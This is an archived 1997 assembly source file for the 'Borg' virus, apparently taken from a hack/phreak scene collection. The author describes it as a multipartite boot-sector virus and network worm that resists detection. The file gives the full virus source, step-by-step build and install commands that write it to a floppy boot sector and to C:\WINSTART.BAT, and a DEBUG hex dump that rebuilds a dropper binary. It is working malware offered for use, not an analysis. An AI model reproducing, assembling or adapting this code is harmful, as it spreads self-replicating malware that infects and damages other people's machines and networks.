home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CCTX0198.ZIP / QMUPDAT7.ZIP / BORG.ZIP / BORG.ASM next >
Assembly Source File  |  1997-02-21  |  12KB  |  385 lines

  1. comment *
  2.  
  3.  
  4. "Q" the Misanthrope introduced Starfleet to the Borg.  He now introduces
  5. Earth to the Borg Virus.  It is an UMB resident multipartite virus and network
  6. worm.  It works with Windows 95 and infects floppy boot sectors and drops
  7. it's worm code on network drives. (you will be assimilated)  It is well
  8. armored and CAN NOT be easily detected or removed when memory resident.
  9. (resistance is futile)  AVP should do a good write up of the virus when they
  10. get it.
  11.  
  12.  
  13. tasm borg /m2
  14. tlink borg
  15. exe2bin borg.exe borg.com
  16. format a:/q/u
  17. debug borg.com
  18. l 300 0 0 1
  19. w 100 0 0 1
  20. w 300 0 20 1
  21. m 120,4000 100
  22. w
  23. q
  24. borg
  25. copy borg.com c:\winstart.bat
  26.  
  27. *
  28.  
  29.  
  30. .286
  31.  
  32.  
  33. qseg            segment byte public 'CODE'
  34.                 assume  cs:qseg,es:qseg,ss:nothing,ds:qseg
  35.         
  36.  
  37. top:            jmp     short jmp_install
  38.         db      90h                     
  39.                 db      "MSDOS5.0"
  40.         dw      512
  41.         db      1 
  42.         dw      1 
  43.         db      2 
  44.         dw      224 
  45.         dw      2880
  46.         db      0F0h 
  47.         dw      9
  48.         dw      18 
  49.         dw      2 
  50.  
  51.  
  52.                 org     00020h
  53.  
  54.  
  55. com_install     proc    near
  56.                 db      "::"
  57.                 js      jmp_next_part
  58.                 jns     jmp_next_part
  59. jmp_install:    jo      install
  60.                 jno     install
  61. scandisk_line   equ     $-01h
  62.                 db      "CANDSKW"
  63.                 db      0dh,0ah,"@ECHO "
  64.                 db      "INSTALLHIGH="
  65. winstart_line   db      "\WINSTART.BAT"
  66. winstart_null   db      ">>"
  67. config_line     db      "C:\CONFIG.SYS"
  68. config_null     db      0dh,0ah,"@COPY/B %0+%0.* C:\>NUL",1ah
  69. jmp_next_part:  jmp     short go_mem_res
  70. com_install     endp
  71.  
  72.  
  73. install         proc    near
  74. es_bx           equ     $+01h
  75.                 mov     si,7c00h
  76.                 add     al,0b7h
  77.         push    cs
  78.         pop     ds
  79.                 les     bx,dword ptr ds:[si+es_bx-top]
  80.                 push    cs
  81.         push    bx
  82.         cld     
  83.                 push    es
  84.                 mov     di,si
  85.                 mov     cx,(offset previous_hook-top)/02h
  86.         push    si
  87.         push    cx
  88.                 rep     movsw
  89.         pop     cx
  90.         pop     si
  91.         call    return_far
  92.                 pusha
  93.                 rep     movsw
  94.                 popa
  95.                 add     di,0080h
  96.                 rep     movsw
  97.                 mov     si,1ah*04h
  98.                 mov     ax,offset interrupt_1a-com_install+037eh
  99.                 cmp     word ptr ds:[si],ax
  100.         je      already_res
  101.         movsw
  102.         movsw
  103.                 mov     word ptr ds:[si-02h],0beb6h
  104.                 mov     word ptr ds:[si-04h],ax
  105. already_res:    push    ds
  106.         pop     es
  107.                 mov     ax,0201h
  108. install         endp
  109.  
  110.  
  111. set_cx_dx       proc    near      
  112.                 mov     bp,word ptr ds:[bx+11h]
  113.                 shr     bp,04h
  114.                 mov     cx,word ptr ds:[bx+16h]
  115.                 shl     cx,01h
  116.                 add     cx,bp
  117.         inc     cx
  118.                 sub     cx,word ptr ds:[bx+18h]
  119.                 mov     dh,01h
  120.                 int     13h
  121. return_far:     retf
  122. set_cx_dx       endp
  123.  
  124.  
  125. go_mem_res      proc    near
  126.                 les     bp,dword ptr ds:[2ah]
  127.                 inc     byte ptr ss:[bp+02h]
  128.                 mov     ah,49h
  129.                 int     21h
  130.                 mov     di,offset scandisk_device-com_install-0ah+0100h
  131.                 dec     bp
  132. next_device:    mov     ah,52h
  133.                 int     21h
  134.                 cld
  135.                 lds     si,dword ptr es:[bx+22h]
  136.                 push    cs
  137.                 pop     es
  138.                 mov     ax,di
  139.                 movsw
  140.                 movsw
  141.                 mov     word ptr ds:[si-02h],cs
  142.                 mov     word ptr ds:[si-04h],ax
  143.                 mov     ax,8004h
  144.                 stosw
  145.                 add     di,offset winstart_device-scandisk_device-06h
  146.                 inc     bp
  147.                 jnz     next_device
  148.                 mov     di,resident_isr21-com_install+0100h
  149. set_int_18_21:  push    cs
  150.                 pop     ds
  151.                 mov     ax,3521h
  152.         int     21h
  153.                 mov     word ptr ds:[previous_hook-com_install+0100h],bx
  154.                 mov     word ptr ds:[previous_hook-com_install+0102h],es
  155.                 mov     ax,2518h
  156.                 push    es
  157.                 pop     ds
  158.                 mov     dx,bx
  159.                 int     21h
  160.                 mov     dx,di
  161.                 mov     al,21h
  162.                 push    cs
  163.                 pop     ds
  164.                 int     18h
  165.                 mov     ah,31h
  166.                 mov     dx,((tail-com_install+010fh) SHR 4)
  167.                 retn
  168. go_mem_res      endp
  169.  
  170.  
  171. make_winstart   proc    near
  172.                 mov     dx,offset winstart_copy-com_install+0100h
  173.                 mov     di,offset winstart_device-com_install+0100h
  174.                 mov     ah,5bh
  175.                 xor     byte ptr ds:[di],ah
  176.                 xor     cx,cx
  177.         int     18h
  178.                 mov     byte ptr ds:[di],"W"
  179.                 mov     bh,40h
  180.                 jc      return_back
  181.                 xchg    ax,bx
  182.                 mov     dx,0100h
  183.                 mov     ch,03h
  184.         int     18h
  185.                 mov     ah,3eh
  186.         int     18h
  187. return_back:    retn
  188. make_winstart   endp
  189.  
  190.  
  191. interrupt_24    proc    near
  192.                 mov     al,03h
  193.                 iret
  194. interrupt_24    endp
  195.  
  196.  
  197. resident_isr21  proc    near
  198.                 pusha
  199.                 push    ds
  200.                 push    es
  201.                 pushf
  202.                 push    cs
  203.                 pop     ds
  204.                 cmp     ah,38h
  205.                 jne     not_infect_now
  206.                 mov     ah,19h
  207.                 int     18h
  208.                 or      al,al
  209.                 jnz     check_network
  210.                 cwd
  211.                 mov     bx,offset vbuffer-com_install+0100h
  212.                 mov     cx,0001h
  213.                 push    cs
  214.                 pop     es
  215.                 mov     ax,0201h
  216.                 int     13h
  217.                 jc      not_infect_now
  218.                 mov     si,0000h
  219.                 org     $-02h
  220.                 jmp     $(jmp_install-top)
  221.                 cmp     word ptr ds:[bx],si
  222.                 je      not_infect_now
  223.                 mov     ax,0301h
  224.         pusha
  225.                 push    cs
  226.         call    set_cx_dx
  227.         cld
  228.                 mov     word ptr ds:[bx],si
  229.                 mov     cx,(previous_hook-com_install)/02h
  230.                 mov     si,0100h
  231.                 lea     di,word ptr ds:[bx+com_install-top]
  232.                 rep     movsw
  233.         popa
  234.                 int     13h
  235. check_network:  mov     ax,4409h
  236.                 xor     bx,bx
  237.                 int     18h
  238.                 test    dh,10h
  239.                 jz      not_infect_now
  240.                 mov     ax,3524h
  241.                 int     18h
  242.                 pusha
  243.                 mov     dx,offset interrupt_24-com_install+0100h
  244.                 mov     ah,25h
  245.                 int     18h
  246.                 call    make_winstart
  247.                 popa
  248.                 mov     dx,bx
  249.                 push    es
  250.                 pop     ds
  251.                 int     18h
  252. not_infect_now: popf
  253.                 jmp     short pop_it
  254. resident_isr21  endp
  255.  
  256.  
  257. interrupt_21    proc    near
  258.         pusha   
  259.         push    ds
  260.         push    cs
  261.         pop     ds
  262.                 xor     ah,4bh
  263.                 jz      set_21_back
  264.                 mov     ax,4300h
  265.                 mov     byte ptr ds:[config_null-com_install+02feh],al
  266.                 mov     byte ptr ds:[winstart_null-com_install+02feh],al
  267.                 mov     dx,offset config_line-com_install+02feh
  268.         int     18h
  269.                 jc      pop_ds_and_all
  270.                 call    make_winstart
  271. set_21_back:    lds     dx,dword ptr ds:[previous_hook-com_install+0100h]
  272.                 mov     ax,2521h
  273.                 int     18h
  274.                 jmp     short pop_ds_and_all
  275. interrupt_21    endp
  276.  
  277.  
  278.                 org     001deh
  279.  
  280.  
  281. interrupt_1a    proc    near
  282.         pusha
  283.                 mov     ax,1200h
  284.         push    ds
  285.         push    es
  286.         int     2fh
  287.         inc     al
  288.         jnz     pop_it
  289.                 lds     dx,dword ptr cs:[previous_hook-com_install+037eh]
  290.                 mov     ax,251ah
  291.                 int     21h
  292.                 mov     di,offset interrupt_21-com_install+0100h
  293.                 call    set_int_18_21
  294. pop_it:         pop     es
  295. pop_ds_and_all: pop     ds
  296.         popa    
  297. interrupt_1a    endp
  298.  
  299.  
  300.                 org     001fdh                
  301.  
  302.  
  303. far_jmp         proc    near
  304.         db      0eah
  305. previous_hook:  label   double
  306. far_jmp         endp
  307.  
  308.  
  309. boot_signature  dw      0aa55h 
  310.  
  311.  
  312.                 org     scandisk_line+01feh
  313. scandisk_copy   db      "SCANDSKW"
  314.                 org     winstart_line+01feh
  315. winstart_copy   db      "\WINSTART.BAT",00h
  316.                 org     scandisk_copy+0080h
  317. scandisk_device db      "SCANDSKW"
  318.                 org     winstart_copy+0080h
  319.                 db      00h
  320. winstart_device db      "WINSTART"
  321. vbuffer         label   byte
  322.                 org     vbuffer+0200h
  323. tail            label   byte
  324.  
  325.  
  326. qseg            ends
  327.  
  328.  
  329.         end    
  330.  
  331. comment *
  332.  
  333. nborg.com
  334. e0100  3A 3A 78 57 79 55 70 55 71 53 43 41 4E 44 53 4B
  335. e0110  57 0D 0A 40 45 43 48 4F 20 49 4E 53 54 41 4C 4C
  336. e0120  48 49 47 48 3D 5C 57 49 4E 53 54 41 52 54 2E 42
  337. e0130  41 54 3E 3E 43 3A 5C 43 4F 4E 46 49 47 2E 53 59
  338. e0140  53 0D 0A 40 43 4F 50 59 2F 42 20 25 30 2B 25 30
  339. e0150  2E 2A 20 43 3A 5C 3E 4E 55 4C 1A EB 55 BE 00 7C
  340. e0160  04 B7 0E 1F C4 5C 7E 0E 53 FC 06 8B FE B9 FF 00
  341. e0170  56 51 F3 A5 59 5E E8 38 00 60 F3 A5 61 81 C7 80
  342. e0180  00 F3 A5 BE 68 00 B8 3C 05 39 04 74 0A A5 A5 C7
  343. e0190  44 FE B6 BE 89 44 FC 1E 07 B8 01 02 8B 6F 11 C1
  344. e01A0  ED 04 8B 4F 16 D1 E1 03 CD 41 2B 4F 18 B6 01 CD
  345. e01B0  13 CB C4 2E 2A 00 FE 46 02 B4 49 CD 21 BF 7D 03
  346. e01C0  4D B4 52 CD 21 FC 26 C5 77 22 0E 07 8B C7 A5 A5
  347. e01D0  8C 4C FE 89 44 FC B8 04 80 AB 83 C7 17 45 75 E1
  348. e01E0  BF 2E 02 0E 1F B8 21 35 CD 21 89 1E DE 02 8C 06
  349. e01F0  E0 02 B8 18 25 06 1F 8B D3 CD 21 8B D7 B0 21 0E
  350. e0200  1F CD 18 B4 31 BA 5B 00 C3 BA 23 03 BF A4 03 B4
  351. e0210  5B 30 25 33 C9 CD 18 C6 05 57 B7 40 72 0C 93 BA
  352. e0220  00 01 B5 03 CD 18 B4 3E CD 18 C3 B0 03 CF 60 1E
  353. e0230  06 9C 0E 1F 80 FC 38 75 5B B4 19 CD 18 0A C0 75
  354. e0240  30 99 BB AC 03 B9 01 00 0E 07 B8 01 02 CD 13 72
  355. e0250  43 BE EB 24 39 37 74 3C B8 01 03 60 0E E8 3C FF
  356. e0260  FC 89 37 B9 EF 00 BE 00 01 8D 7F 20 F3 A5 61 CD
  357. e0270  13 B8 09 44 33 DB CD 18 F6 C6 10 74 17 B8 24 35
  358. e0280  CD 18 60 BA 2B 02 B4 25 CD 18 E8 7C FF 61 8B D3
  359. e0290  06 1F CD 18 9D EB 43 60 1E 0E 1F 80 F4 4B 74 13
  360. e02A0  B8 00 43 A2 3F 03 A2 30 03 BA 32 03 CD 18 72 2B
  361. e02B0  E8 56 FF C5 16 DE 02 B8 21 25 CD 18 EB 1D 60 B8
  362. e02C0  00 12 1E 06 CD 2F FE C0 75 10 2E C5 16 5C 05 B8
  363. e02D0  1A 25 CD 21 BF 97 02 E8 09 FF 07 1F 61 EA 55 AA
  364. e02E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  365. e02F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  366. e0300  00 00 00 00 00 00 00 53 43 41 4E 44 53 4B 57 00
  367. e0310  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  368. e0320  00 00 00 5C 57 49 4E 53 54 41 52 54 2E 42 41 54
  369. e0330  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  370. e0340  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  371. e0350  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  372. e0360  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  373. e0370  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  374. e0380  00 00 00 00 00 00 00 53 43 41 4E 44 53 4B 57 00
  375. e0390  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  376. e03A0  00 00 00 00 57 49 4E 53 54 41 52 54 5A 59 5B 58
  377. e03B0  C3 53 51 8B 1E F4 02 83 FB FF 75 05 2B C0 99 EB
  378. e03C0  21 8E 06 0E 06 B8 10 00 26 F7 67 08
  379. rcx
  380. 2cc
  381. w
  382. q
  383.  
  384. *
  385.